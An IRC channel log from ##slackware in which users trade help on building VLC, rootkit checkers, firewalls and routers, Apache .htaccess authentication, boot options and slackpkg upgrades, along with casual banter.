[00:03] updating .... ty sahk0 , rworkman . [00:04] datace (1000@202.137.125.16) left ##slackware. [00:05] ridout (~gm@d216-121-212-105.home3.cgocable.net) left irc: Quit: Lost terminal [00:07] tallship (~hammer@174.33.24.54) joined ##slackware. [00:11] fhobia (~fhobia@c-67-188-69-121.hsd1.ca.comcast.net) joined ##slackware. [00:13] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [00:14] karuna (~karuna@202.138.250.81) joined ##slackware. [00:18] andrew_46 (~andrew@pdpc/supporter/active/andrew-46) joined ##slackware. [00:24] alreadygone (~silas@119.154.110.108) joined ##slackware. [00:24] \o [00:25] Hermann (~Hermannn@c-de50e255.226-1-64736c10.cust.bredbandsbolaget.se) joined ##slackware. [00:25] o/ [00:25] Motoko-chan (~maoyama@pool-173-51-68-43.lsanca.fios.verizon.net) joined ##slackware. [00:25] \o/ [00:25] -o- [00:26] |o/ [00:26] cfdisk (~cfdisk@unaffiliated/cfdisk) joined ##slackware. [00:26] (o( [00:26] @o_ [00:26] flexing my muscles there [00:26] careful, could get ya sore [00:27] 8) [00:27] |-o-| [00:27] sorry, the jedi in me... [00:28] sahk0 (~grbzks@pdpc/supporter/active/grbzks) left irc: Quit: leaving [00:28] how many of you have compiled vlc? [00:28] i haven't :C [00:29] >o< x-wing ? [00:30] mancha, takes forever [00:31] jsut get the one from alienbob much faster [00:31] get the one meaning a pre-compiled package? [00:31] .tgz i think [00:31] that goes against my religion :> [00:32] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [00:32] y? [00:33] karuna (~karuna@202.138.250.81) joined ##slackware. [00:33] mancha: what is the problem? [00:33] http://connie.slackware.com/~alien/slackbuilds/ [00:33] mancha: with the compilation [00:34] datace (1000@202.137.125.16) joined ##slackware. [00:34] no problem, just curious which of you had built it [00:34] alisonken1noc (~alisonken@ip-66-33-206-8.dreamhost.com) joined ##slackware. [00:34] mancha, i see no difference [00:34] i think i did a long time ago though dropped it. [00:35] so i just download the .tgz package now [00:35] i don't feel so manly after admitting i have not compiled it :( [00:35] wario, well i am almost done with the muxers, only a feew "access" deps needed after this [00:35] hahaha... [00:35] honestly though it takes forever..the compiliing [00:36] yeah, thats totally why i didn't do it @o_ [00:36] i wouldn't want to attempt it on my netbook [00:36] and i was using a raid 0 setup with a core2quad overclock to 3.5Ghz each core [00:37] with 1066mhz g.skill memory [00:37] datace (1000@202.137.125.16) left ##slackware. [00:37] dngr (~dngr@n11649137153.netvigator.com) left irc: Ping timeout: 240 seconds [00:37] what is libgpg-error used for in that suite? [00:38] pizzledizzle (~pizdets@pool-98-116-202-61.nycmny.fios.verizon.net) left irc: [00:38] not sure [00:39] are those just gpg error codes? [00:40] hayaka (~kal@cpe-69-205-244-105.stny.res.rr.com) left irc: Remote host closed the connection [00:42] i was also curious about the build extent, ie did you build it with livedotcom support, yea/nay etc. no matter though...i'll just play it by ear. [00:43] andrew_46 (~andrew@pdpc/supporter/active/andrew-46) left irc: Quit: leaving [00:43] i really don't reacall. it was probably over a year a go and I don't know if i even finished it [00:43] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [00:44] datace (1000@202.137.125.16) joined ##slackware. [00:44] i think i got pissed at all the deps and ended up installing alien's build. heheh [00:45] then ended up uninstalling it because it didn't do what i want, though knowing now i needed to enable the mozilla support in the build script. [00:46] long time ago.. i just use mplayer now. [00:46] i have a silly question here.. [00:47] That was before my hard drive crashed and I lost my slackware install on that machine. [00:47] karuna (~karuna@202.138.250.81) joined ##slackware. [00:47] can I pm someone to ask? [00:48] eek. i've only had a HD crash on me twice and in both cases it burped for months so i had time to make sure my backups were up to date [00:49] Rat409 (~rat@bb-205-209-66-159.gwi.net) joined ##slackware. [00:49] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [00:50] datace: just ask [00:50] Action: fhobia braces for impact [00:50] yeah, it really didn't show any signs. luckily it was just my install partition, with games, etc. A lot of gigs to have to redownload though my home drive was still good. Kind of good it happened because it woke me up to how bad i needed a proper backup system [00:50] karuna (~karuna@202.138.250.81) joined ##slackware. [00:50] wario: did you try to recover its data by putting it in the fridge? :3 [00:51] fhobia: nah, there was really nothing of that much importance on it. mostly large games and what not. I might try that trick though, as long as it won't void any warrenty. [00:52] What if im browsing porn stuff surf and stream, after a busy day... can I get virus like that stuff even f i have no firewall yet installed? [00:53] probably not on Linux [00:53] not a computer virus anyway [00:53] ha ha ha [00:53] but you could get a rootkit. [00:53] yeah not really [00:54] you can get some tracking cookies though [00:54] datace: use firefox in private browsing mode [00:54] hmm a rootkit huh? [00:54] private browsing? [00:55] datace: firefox tools>Start Private Browsing [00:55] ahh.. what makes private browsing private? [00:55] phukt (~phukt@71-90-81-164.dhcp.ftbg.wi.charter.com) joined ##slackware. [00:55] or ctrl+shift+p then when done switch back [00:56] fhobia: yup,not likely but possible. [00:56] datace: it doesn't save any url history or cookies [00:56] Rat409: yeah, i was just thinking its hard to find out that you have one after you get it huh ? [00:56] do you guys open porn site and stream? [00:56] hard to believe but i don't . . . [00:56] :3 [00:57] yuh . 2 good tools rootkithunter and chkrootkit [00:57] jewbacca (yosi@cpe-68-174-204-197.si.res.rr.com) left ##slackware. [00:57] datace: if you are worried about rootkits then get a program such as chkrootkit from slackbuilds.org [00:57] rkhunters capable of updating [00:57] he could browse porn in a vm [00:57] ok wario - ty [00:57] and then delete the vm [00:57] lol [00:58] hahaha [00:58] vm? [00:58] datace: though you pretty much won't get a virus, avoid the cookies by using the private browsing and you should be alright. [00:58] what is that abrevation name? [00:58] virtual machine like vmware or something [00:58] steinberg (~steinberg@67.23.167.36) left irc: Quit: quit [00:58] i'm just joking around [00:58] datace: the best way to avoid virus with firefox is to use Adblock Plus and Web of Trust addons [00:58] probably wouldn't get enough good performance in a vm to watch your videos [00:58] datace: and optionally noscript [00:59] datace: if you share files w/windows users be a good idea to use clamav or another av util [00:59] you guys have antivirus on linux installed? [00:59] for most users noscript is a little overboard so the first two will work fine. You also will get rid of most all of those annoying advertisments. [00:59] better privacy can remove lts cookies. [01:00] fhobia, the only antivirus software on linux is to clean attachments going to windows boxes [01:00] yup [01:01] alisonken1noc: ah [01:01] the only real stuff you need to worry about on linux boxen are flash cracks, rootkits, and stupid passwords/social hacking [01:02] then that just takes common sense [01:02] datace (1000@202.137.125.16) left irc: Ping timeout: 240 seconds [01:03] dngr (~dngr@n11649137001.netvigator.com) joined ##slackware. [01:03] looks like he timed out watching a video [01:03] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [01:03] he must have been happy to hear the news [01:03] pattwo (~pattwo@CPE004005835490-CM001ac30fbc38.cpe.net.cable.rogers.com) left irc: Quit: Leaving [01:03] lol [01:04] karuna (~karuna@202.138.250.81) joined ##slackware. [01:04] Please, no talk about "flash cracks" after datace. [01:04] haha, must be a trigger word [01:04] shemp, heh [01:05] Hermann (~Hermannn@c-de50e255.226-1-64736c10.cust.bredbandsbolaget.se) left irc: Ping timeout: 240 seconds [01:06] Shadowkllr (~chatzilla@c-69-253-22-90.hsd1.de.comcast.net) joined ##slackware. [01:07] ok so i created a .htaccess file in a folder and created a .htpasswd file in a directory outside of the public_html domain. But when i go to the site nothing pops up. i've restarted the httpd connection but i don't even get a prompt [01:11] ViN86 (ViN86@SYDNEYPACIFIC-ONE-FIFTEEN.MIT.EDU) left irc: Quit: Leaving [01:13] ThomasLocke (~ThomasLoc@pdpc/supporter/active/thomaslocke) joined ##slackware. [01:13] cfdisk (~cfdisk@unaffiliated/cfdisk) left irc: Ping timeout: 264 seconds [01:14] Are you sure the htaccess file is being parsed? [01:14] Are you sure you set up the directives correctly? [01:16] alkos333 (~alkos333@c-67-175-219-69.hsd1.il.comcast.net) left irc: Ping timeout: 240 seconds [01:17] timahvo1 (~rogue@41.191.224.178) joined ##slackware. [01:17] shemp: lol XD [01:17] figured it out [01:17] it was the AllowOveride [01:17] it was set to none [01:18] had to change it to AuthConfig [01:18] T3slider (~T3slider@unaffiliated/t3slider) left irc: Quit: Night [01:18] Action: fhobia scratchis his head while looking at the asus eee keyboard pc [01:19] Action: fhobia then wonders if it will run slackware XD [01:20] ilj (~ilj@sourcemage/grimoire/apprentice/ilj) left irc: Ping timeout: 246 seconds [01:21] blaines (~blaines@ip68-106-24-21.ph.ph.cox.net) joined ##slackware. [01:22] blaines (~blaines@ip68-106-24-21.ph.ph.cox.net) left irc: Max SendQ exceeded [01:22] fhobia: http://connie.slackware.com/~alien/slackbuilds/eeepc-acpi-scripts/ http://alien.slackbook.org/blog/upgrading-the-eeepc-to-2-6-33/ [01:22] Shadowkllr (~chatzilla@c-69-253-22-90.hsd1.de.comcast.net) left irc: Ping timeout: 245 seconds [01:22] :D but is this the KEYBOARD pc [01:23] lol [01:23] oh :P [01:23] no idea who would buy this ha ha ha [01:23] yeah really [01:24] people that yearn for commodore 64's ? [01:24] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [01:25] Tekwar (tekwar@201.19.82.79) left irc: Quit: Leaving [01:25] would be more fun to build your ow [01:25] n [01:26] with an IBM Model M [01:27] aka God's Keyboard. [01:28] karuna (~karuna@202.138.250.81) joined ##slackware. [01:30] <-- has one :) [01:31] i have a kinesis ergo :3 [01:37] "" [01:37] http://openofficemouse.com/pr110609.html [01:37] i want that mouse [01:38] initself (~initself@li85-41.members.linode.com) joined ##slackware. [01:38] hmm...can it be used in general in X or is it specifically tied to OOO [01:38] haha there is some weird valve on the left side of it [01:39] analog stick [01:39] ilj (~ilj@sourcemage/grimoire/apprentice/ilj) joined ##slackware. [01:39] _marc` (~marc@2001:6f8:103c:0:20e:8eff:fe20:82d7) joined ##slackware. [01:40] i'm sure they are bindable keys [01:41] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [01:41] merciful (~eabe@j226017.upc-j.chello.nl) left irc: Ping timeout: 264 seconds [01:42] lol please let us know when you get this [01:42] it seems awesome :D [01:43] okay :) [01:44] karuna (~karuna@202.138.250.81) joined ##slackware. [01:45] raymondmendoza (~raymondme@cpe-67-246-67-240.twcny.res.rr.com) joined ##slackware. [01:46] oobe (proxy@aubry.athnex.com) left irc: Remote host closed the connection [01:48] the software is opensource too [01:49] raymondmendoza (~raymondme@cpe-67-246-67-240.twcny.res.rr.com) left irc: Quit: Get MacIrssi - http://www.sysctl.co.uk/projects/macirssi/ [01:50] hayaka (~kal@cpe-69-205-244-105.stny.res.rr.com) joined ##slackware. [01:52] Necrosporus (~Xenius@unaffiliated/necrosporus) left irc: Ping timeout: 258 seconds [01:54] wario, hope that's an old april fools joke [01:56] no, it's not a joke [01:58] sahk0 (~grbzks@pdpc/supporter/active/grbzks) joined ##slackware. [01:58] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [01:58] Necrosporus (~Xenius@unaffiliated/necrosporus) joined ##slackware. [01:59] karuna (~karuna@202.138.250.81) joined ##slackware. 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[02:05] lokken (~chris@206-248-167-84.dsl.teksavvy.com) left irc: Ping timeout: 276 seconds [02:06] briareus (~briareus@unaffiliated/briareus) left irc: Quit: leaving [02:06] i used to have a good route from east to west through charter [02:07] i'd get 15mbit from north carolina to los angeles [02:07] now i get shit [02:09] it's supposed to ship in may [02:10] nix_chix0r (~Hello@97-127-221-231.dlth.qwest.net) left irc: Ping timeout: 248 seconds [02:10] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [02:11] good luck [02:11] karuna (~karuna@202.138.250.81) joined ##slackware. [02:16] http://www.techzine.nl/blogs/gadget/639/hands-on-review-warmouse-meta-english.html [02:21] _marc` (~marc@2001:6f8:103c:0:20e:8eff:fe20:82d7) left irc: Quit: Leaving [02:21] boris`` (~boris@pool-74-111-12-189.syrcny.fios.verizon.net) joined ##slackware. [02:21] Rat409 (rat@bb-205-209-66-159.gwi.net) left ##slackware ("="). [02:24] s0d0 (~sod@host81-141-52-195.wlms-broadband.com) joined ##slackware. [02:29] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [02:29] oobe (~thingo@insidiousramblings.com) joined ##slackware. [02:31] how many people here use slack-current instead of stable? [02:31] lokken (~chris@206-248-167-84.dsl.teksavvy.com) joined ##slackware. [02:31] is this a poll? [02:33] karuna (~karuna@202.138.250.81) joined ##slackware. [02:35] boris``, I use 13.0, 64-13.0, and 64-current, plus have some machines still running 11.0 and 12.1 [02:38] yea i use 13-64 and 64-current [02:38] sahk0: yes [02:38] i00nsu (~i00nsu@a213-22-116-122.cpe.netcabo.pt) left irc: Ping timeout: 246 seconds [02:39] i'm not very familiar with the updates to KDE4, but i recall using a newer version, probably KDE 4.4.something having the same behavior as windows 7 with regards to moving windows to the top or sides of the screen [02:41] and your point is...that theres a new kde version out? [02:41] kde4.4 is currently only in a testing repo of one of the slackware maintainers, -current only goes to 4.3 [02:41] kde4.3.5 [02:43] shame [02:44] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [02:44] keep in mind, Slackware philosophy is latest _stable_ software, so latest _greatest_ may take a little bit to get in the repo, even in -current [02:44] gaz (~gaz@cpc4-runc5-2-0-cust424.1-3.cable.virginmedia.com) joined ##slackware. [02:45] of course [02:45] packeteer (~packeteer@203.36.227.227) left irc: Quit: upgrades upgrades upgrades [02:47] karuna (~karuna@202.138.250.81) joined ##slackware. [02:53] shonudo (~user@c-68-35-130-174.hsd1.nm.comcast.net) left irc: Ping timeout: 260 seconds [02:56] i use stable here [02:56] shonudo (~user@c-68-35-130-174.hsd1.nm.comcast.net) joined ##slackware. [02:58] OclkdMan (~OclkdMan@78.134.14.72) joined ##slackware. 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[03:32] gaz (~gaz@cpc4-runc5-2-0-cust424.1-3.cable.virginmedia.com) left irc: Quit: Leaving [03:33] I have no sound from my vbox guests. this is the logfile http://pastebin.org/169137http://pastebin.org/169137 [03:33] any idea? [03:33] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [03:33] fuzzix (~fuzzix@109.76.94.188) joined ##slackware. [03:34] oobe (~thingo@insidiousramblings.com) left irc: Remote host closed the connection [03:36] jonmasters (~jcm@dallas.jonmasters.org) left irc: Read error: Operation timed out [03:37] karuna (~karuna@202.138.250.81) joined ##slackware. [03:37] ezrafree (ezra@gware/developer/ezrafree) left irc: Ping timeout: 245 seconds [03:40] ezrafree (ezra@208.67.159.229) joined ##slackware. [03:40] ezrafree (ezra@208.67.159.229) left irc: Changing host [03:40] ezrafree (ezra@gware/developer/ezrafree) joined ##slackware. [03:40] oobe (~thingo@insidiousramblings.com) joined ##slackware. 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[04:10] mbohun (~mbohun@202.124.72.149) left irc: Quit: Leaving [04:16] <_RadioHead> mornign [04:17] mornin' [04:18] <_RadioHead> morning mako-dono :) [04:29] tsccof (~tsccof@201-15-189-111.cslce700.dsl.brasiltelecom.net.br) joined ##slackware. [04:31] Nick change: nogagplz -> nogagplzd [04:31] hmm - pyqt is not part of slackware or slackbuilds.org [04:31] sucks [04:31] only pygtk [04:32] although, pygtk will work, not quite the same as pyqt4 for kde4 [04:32] mainly the icon set [04:33] alisonken1noc: see l/PyQt [04:33] In Slackware [04:33] <_RadioHead> morninig alisonken1home alienBOB [04:34] <_RadioHead> sorry alisonken1noc :) [04:34] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [04:34] karuna (~karuna@202.138.250.81) joined ##slackware. [04:35] alisonken1noc, camelcase package names suck, right? :-) [04:36] Reaver1 (~Joachim@h15a2.n2.ips.mtn.co.ug) joined ##slackware. [04:41] alienBOB, I'm only seeing pygtk and pybobject in -current [04:41] pygobject, rather [04:41] doh - there it is PyQt-4.6.2-x86_64-2 [04:42] nice, something else I can remove [04:44] alienBOB, thanks [04:44] now to find the tutorials and demo's for it [04:46] http://www.riverbankcomputing.co.uk/static/Docs/PyQt4/pyqt4ref.html for the reference, http://zetcode.com/tutorials/pyqt4/ for a tutorial [04:51] slink31893218931 (copy@node-43.blackcore.net) joined ##slackware. [04:52] Nick change: slink31893218931 -> slink [04:52] Morn [04:52] <_RadioHead> morning Zordrak [04:54] functionoverform (~mranderso@adsl-99-148-30-166.dsl.emhril.sbcglobal.net) left irc: Quit: Leaving [04:55] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [04:56] tsccof (tsccof@201-15-189-111.cslce700.dsl.brasiltelecom.net.br) left ##slackware. [04:59] karuna (~karuna@202.138.250.81) joined ##slackware. [05:00] What does "Legacy LAN" bios boot option mean? I suspect it means "You won't be able to boot this computer from PXE" :-/ [05:03] mbohun (~mbohun@ppp115-156.static.internode.on.net) joined ##slackware. [05:04] Desiderius (~DC@ns-quad.ibisc.univ-evry.fr) joined ##slackware. [05:04] hmm [05:04] you have me curious too [05:05] just try it anyway :P [05:05] doesn't work, hence my question [05:05] and no option to enable lan boot rom either [05:06] what does lan boot rom do? loads a dhcp client from the rom and does the tftp thing? [05:06] slava_dp: tbh id check the manual [05:06] legacy LAN is the old-style bootp option which is not the same as pxe [05:06] slava_dp: this is an on/off option right? [05:07] your dhcp server has to support bootp clients in order to lanboot legacy LAN proms [05:07] alreadygone (~silas@119.154.104.85) joined ##slackware. [05:07] hmm... and you can always buy an NIC which supports PXE [05:07] slackware dhcp package will support both bootp and pxe clients, it's in the docs for dhcpd [05:08] this is a wall-mounted panel, it does not have any expansion slots [05:11] and it also fails to boot the slackware dvd from a usb cdrom. what the hell. [05:11] slava_dp: lol.. re-read what you just said [05:11] fails to boot the slackware *dvd* [05:11] from a usb *cdrom* [05:12] i caught that too [05:12] slava_dp: the BIOS must support booting from USB devices and recognize the cdrom as a bootable mass storage device [05:12] and if it's recognized as CD rather than DVD device, the dvd may not work [05:14] if you can boot off a floppy, you can use that as a bootstrap and try loading the cdrom with it [05:15] there is some software that lets you boot off USB devices that you can install as a boot loader too... if i could remember it [05:16] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [05:23] karuna (~karuna@202.138.250.81) joined ##slackware. [05:26] Zordrak, it's a dvd-rom.... I call all of them cdroms for simplicity [05:28] elderK (~elderK@pdpc/supporter/active/elderk) joined ##slackware. [05:28] Hey people, anyone here running GWARE or GNOME on Slackware? [05:28] Was just wondering how Compiz runs, [05:28] since, my last attempts (2ish years ago) were never really that... successful. [05:34] Reaver1 (~Joachim@h15a2.n2.ips.mtn.co.ug) left irc: Ping timeout: 246 seconds [05:36] slava_dp: i would test it with CD1 [05:37] Reaver1 (~Joachim@212.88.117.162) joined ##slackware. [05:38] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [05:39] karuna (~karuna@202.138.250.81) joined ##slackware. [05:49] elderK, well, since Gnome is unsupported, there may be a channel specific to that [05:55] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [05:56] karuna (~karuna@202.138.250.81) joined ##slackware. [05:59] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [05:59] karuna (~karuna@202.138.250.81) joined ##slackware. [06:02] aha i think i found it [06:02] elderK, #gsb [06:02] it's called plop [06:02] i used it in a vmware to boot off a USB device since my vmware bios wouldn't support the device in question [06:02] http://www.plop.at/en/bootmanager.html [06:04] cheers, slava_dp [06:05] wobbles (~huntsman@C-59-101-150-8.mel.connect.net.au) joined ##slackware. [06:09] j0z (~SPH@unaffiliated/j0z) left irc: Quit: )(ã_â) ) [06:10] MReimer (~chatzilla@p4FD4AD17.dip0.t-ipconnect.de) joined ##slackware. [06:19] Greyhound- (Greyhound@79.114.11.167) joined ##slackware. [06:20] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [06:23] PeanutHorst (~peanutlx@sxemacs/gentoo-liaison/PeanutHorst) left irc: Ping timeout: 252 seconds [06:23] dErFz (~derf@unaffiliated/derfz) left irc: Quit: sleep [06:24] MrJackson (Mr@173-86-43-218.dr01.wlbr.pa.frontiernet.net) left irc: Ping timeout: 252 seconds [06:25] oxiredo_ro (~oxiredo@univ-gw.bh.edu.ro) joined ##slackware. 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[07:03] XGizzmo, thanks [07:04] it was due to a faulty dvd-rom, which is nearing it's death. i've booted the dvd with another dvd-rom. [07:04] dErFz (~derf@188.72.255.195) joined ##slackware. [07:04] regarding pxe boot, this pc just lacks the rom to do it. [07:04] VUGO (~VUGO@209.8.233.222) joined ##slackware. [07:05] karuna (~karuna@202.138.250.81) left irc: Read error: Connection reset by peer [07:06] if i want to upgrade from slack64-13 to slack64-current, is install-new, upgrade-all, clean-system the order to use? [07:06] install-new and clean-system list quite a few more packages than i expected [07:08] clean-system will list all the packages that aren't in the official slackware tree. that includes all your custom/sbo packages too. you might want to leave those installed, but ymmv. [07:08] hersonls (~hersonls@187.40.2.153) joined ##slackware. [07:08] I would suggest upgrade-all then install-new [07:08] slava_dp: this is from a virtually fresh install of slack64-13 [07:08] karuna (~karuna@202.138.250.81) joined ##slackware. [07:08] i would suggest UPGRADE.TXT but oh well [07:08] so i have no custom packages :) [07:09] wfyb [07:09] definitely, upgrade-all then install-new [07:10] Delahunt (~robert@fd127-184.infoaomori.ne.jp) left irc: Quit: Leaving [07:10] Delahunt (~robert@fd127-184.infoaomori.ne.jp) joined ##slackware. [07:10] karuna (~karuna@202.138.250.81) left irc: Remote host closed the connection [07:11] GooseYArd (~GooseYArd@66.239.162.121.ptr.us.xo.net) left irc: Read error: Connection reset by peer [07:13] zux1wrk (~zux@81.198.70.134) left irc: Ping timeout: 248 seconds [07:14] boris``: slackpkg clean-system is the final step indeed. Some packages were removed after Slackware 13.0 [07:17] as noted, keep track of sbopkg software you installed since it will remove those as well [07:17] sorry SBo packages [07:17] he said it's a pristine clean 13.0 :) [07:19] Asmadeus (~asmadeus@shellium/staff/developer.Asmadeus) left irc: Ping timeout: 260 seconds [07:20] comp_ (~comp_@81.196.151.9) joined ##slackware. [07:20] sftp (~sftp@79.174.50.208) joined ##slackware. [07:21] goj|ghost (~goj@p4FE6E712.dip.t-dialin.net) joined ##slackware. [07:22] Action: slava_dp is installing 13.0 over nfs :-] [07:23] an installation server is a fun thing to have in the office [07:23] I have that setup too but only for virtual machines [07:24] any way of enabling PAE in 13 without kernel recompile? [07:25] goj (~goj@p4FE6E1CE.dip.t-dialin.net) left irc: Ping timeout: 248 seconds [07:25] Nick change: goj|ghost -> goj [07:26] MReimer (~chatzilla@p4FD4AD17.dip0.t-ipconnect.de) left irc: Quit: ChatZilla 0.9.86 [SeaMonkey 2.0.4/20100404005729] [07:29] ScreamerX (~screamer@chello084115148215.3.graz.surfer.at) joined ##slackware. [07:30] _RadioHead (~slack@217.170.244.2) left irc: Ping timeout: 264 seconds [07:31] wertik_rus (~wertik@212.33.3.98) joined ##slackware. [07:31] Delahunt (~robert@fd127-184.infoaomori.ne.jp) left irc: Quit: Leaving [07:35] comp_, of course not [07:35] unless there is a PAE kernel package somewhere [07:36] yes, thought so, and I assume having it enabled by default in the kernel is not an option either [07:37] you mean making slackware kernels with PAE support on the install disk? [07:37] well that's up to patrick [07:37] there are more than one kernels on the disk [07:37] that would suck, pae hurts performance. [07:37] so its possible to do [07:38] use slackware64! [07:38] yes, having it enabled in the official package, but there seems to be some overhead involved with this option so I guess it will stay off [07:38] but if you have more than 3GB of ram i assume there is a trade off [07:38] why not 64 bits? [07:38] http://alien.slackbook.org/ktown/4.4.2/ for slack 13.0? [07:39] or current? [07:39] egrub, it needs some of the current packages [07:39] I have two desktops, one is slackware64 but the other one needs to be 32bit, and it's a pain to recompile after each update [07:40] egrub, "You will need to run a *development* snapshot of Slackware (meaning, [07:40] slackware-current of around 30-mar-2010 or newer" that is in the first sentence of the README [07:40] ok [07:41] You will need to run a *development* snapshot of Slackware (meaning, [07:41] oobe: slava_dp thanks for your replies [07:41] slackware-current of around 30-mar-2010 or newer). These packages do [07:41] *not* work on Slackware 13.0. [07:41] yes slack current... [07:42] gm152 (~gm@d216-121-212-105.home3.cgocable.net) joined ##slackware. [07:43] gm152 (~gm@d216-121-212-105.home3.cgocable.net) left irc: Read error: Connection reset by peer [07:45] I'm trying to mount --bind a folder to give access to another user on my system but for 'mount ~/Dark\ Tranquillity /somewhere', I always get the same error message: 'mount: special device /home/adrien/Dark Tranquillity does not exist' [07:45] erg, forgot the '--bind' in the command when I typed it on irc [07:46] (but I'm using it) [07:46] ROKO__ (~ROKO__@2001:470:1f0b:655::10) joined ##slackware. [07:46] hellp [07:46] i want ask you [07:46] how can install "httpup" ? [07:49] http://dpaste.com/186877/ [07:51] Strykar (~wakka@122.169.73.14) left irc: Ping timeout: 246 seconds [07:52] ? [07:52] sjamma (~9962cb45@gateway/web/freenode/x-xilrugfobpkvfhth) left irc: Ping timeout: 252 seconds [07:55] spmd (loli@CAcert/Assurer/spymod) joined ##slackware. [07:55] InTel_GB (~intel@95.43.10.40) joined ##slackware. [07:56] nitro25 (~nitro25@cpe-72-230-179-21.rochester.res.rr.com) left irc: Remote host closed the connection [07:56] Drakevr (~drakevr@unaffiliated/drakevr) left irc: Quit: Leaving [07:57] ROKO looks like it is not CPP standards compliant, you need to add explicit includes to the code eg "#include " [07:57] http://bugs.gentoo.org/attachment.cgi?id=157741 is some of gentoo's fixes [07:58] InTel_GB (~intel@95.43.10.40) left irc: Client Quit [07:58] or use rsync? [07:59] elderK (~elderK@pdpc/supporter/active/elderk) left irc: Quit: elderK [08:01] not every server offers rsync of course ;) [08:03] riza (~riza@unaffiliated/riza) joined ##slackware. [08:03] Hi folks. [08:05] of course [08:05] hi riza [08:05] Action: riza waves at Camarade_Tux. [08:09] datace (1000@202.137.125.16) joined ##slackware. [08:09] zux1wrk (~zux@212.93.97.140) joined ##slackware. [08:10] johnbristol (~john@host-84-9-51-45.dslgb.com) joined ##slackware. [08:14] How is everyone doiong this bad morning? [08:14] Nick change: riza -> rizabawt [08:18] Strykar (~wakka@122.170.46.82) joined ##slackware. [08:18] zux1wrk (~zux@212.93.97.140) left irc: Ping timeout: 276 seconds [08:20] GooseYArd (~GooseYArd@66.239.162.121.ptr.us.xo.net) joined ##slackware. [08:21] DO slack 13 has default firewal in installation thats just need to be configured? [08:22] my kingdom for a null modem adapter [08:22] datace: iptables [08:24] datace: please don't PM me without permission... lookup lartc.org [08:25] Can help me setup iptables for me please..? sorry. Dominian [08:25] Hm.. [08:25] datace: what do you need to do exactly? [08:27] build a firewall just for protection for intruders. [08:27] blocking all incoming connections? or do you want to do something more? [08:27] datace, you should just get a good router. :D [08:28] Do I really need a firewall for my slack? newbie. [08:28] I use modem only. [08:28] datace, nope. [08:28] Connected to my ISP. [08:29] Is it okay that I'm having no firewall installed? [08:29] Yes. [08:29] A modem. [08:29] Besides, you can't be a target. [08:29] Do you do anything special? [08:30] ihave nothing special.. just mp3's [08:30] rizabawt: scriptkiddies don't care [08:30] lol [08:30] Sigh. [08:30] Just get a better connection and a router. [08:31] I have already a modem.. Do I really need router? [08:31] Yes. [08:31] datace: so you just plugin the modem and it works automatically? [08:31] Why are you still using 56k? [08:31] john_dee (~id@93-81-140-34.broadband.corbina.ru) joined ##slackware. [08:32] adsl/router [08:32] rizabawt: adsl connections use modems too [08:32] Blah it's a habit I will never get rid of! [08:32] datace: so you have a router with builtin modem.. right? [08:32] Modem refers to 56k, cable refers to something else, and DSL refers to something else. [08:33] CelestialWurm (~celestial@24.115.209.159) joined ##slackware. [08:33] ZyXEL P-645 details:Multi-Mode ADSL Bridge/Router hardware type:DSL Router date added:2005.05.29 [08:34] Yea I think you are fine then. It has port forwarding. [08:34] there... you probably don't need to setup a firewall [08:34] Im not familliar with my stuff router. [08:34] NAT and DMZ too. [08:34] No packeting filtering among other things but I don't think you need it. [08:34] So its not a modem? [08:34] It is. [08:34] You're fine. [08:35] datace: you can say it's a router with a built-in modem [08:35] Do I nid to buy 1 router? [08:35] http://www.cisco.com/cisco/web/solutions/small_business/resource_center/articles/connect_employees_and_offices/networking_basics/index.html [08:35] Ah. [08:35] No. [08:35] wertik_rus (~wertik@212.33.3.98) left irc: Remote host closed the connection [08:35] thnx for the link. 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[08:59] if you haven't done so already, I suggest panic [08:59] phrag: i didnt even know it read it [09:00] FriedBob: English in the morning, Aromatic in the night, [09:00] could ontly suggest looking for a switch to pass it [09:00] yeh, looking now... we hav a major box down due to incorrect fstab, furious searching! [09:02] if you can find out how to give grub an alternate root device you can just boot it into single user [09:03] phrag: single user ? [09:03] liveCD is easiest to fix [09:04] yeah, or take the drive out and plug it in somewhere else [09:04] grub won't even know what /etc/fstab is, that's the init system's job [09:06] livecd++ [09:06] or a slack cd in a pinch [09:07] Can slackware 13 auto detech my video card hardware and install it in default? [09:07] isnt the only argument of people using grub that its better than lilo cause you can edit its configuration on the fly? why a live cd? [09:07] rizabawt (riza@unaffiliated/riza) left ##slackware ("Leaving."). [09:08] i use a livecd cause i can never remember how to get grub to do anything :) [09:10] sahk0, his grub config is write, it's fstab that's wrong [09:10] wow, right* [09:10] thrice`: :-) [09:11] oh right. didnt follow much [09:11] (or maybe it's write but could be read, /me hides) [09:11] s/could/couldn't/ >< [09:13] wobbles (huntsman@C-59-101-150-8.mel.connect.net.au) left ##slackware ("Leaving"). [09:13] Delahunt (~robert@fd127-184.infoaomori.ne.jp) joined ##slackware. [09:15] oscillator: I'm gonna have to buy a new pipe if I get any aromatics. All my pipes have had a lot of English smoked in them. [09:15] wertik_rus (~wertik@212.33.3.98) left irc: Quit: Leaving [09:17] gar0t0 (~gar0t0@unaffiliated/gar0t0) joined ##slackware. [09:17] paissad (~paissad@fac34-3-89-87-195-22.dsl.club-internet.fr) joined ##slackware. [09:17] anyone have any suggestions for using a 2nd gen ipod touch in slackware? i'm getting the libiphone stuff and requirements from SBo, but looking for some real world usage stories [09:17] FriedBob: I only have two and always I use in this mode, [09:17] GooseYArd (~GooseYArd@66.239.162.121.ptr.us.xo.net) left irc: Quit: Lost terminal [09:18] r_linux 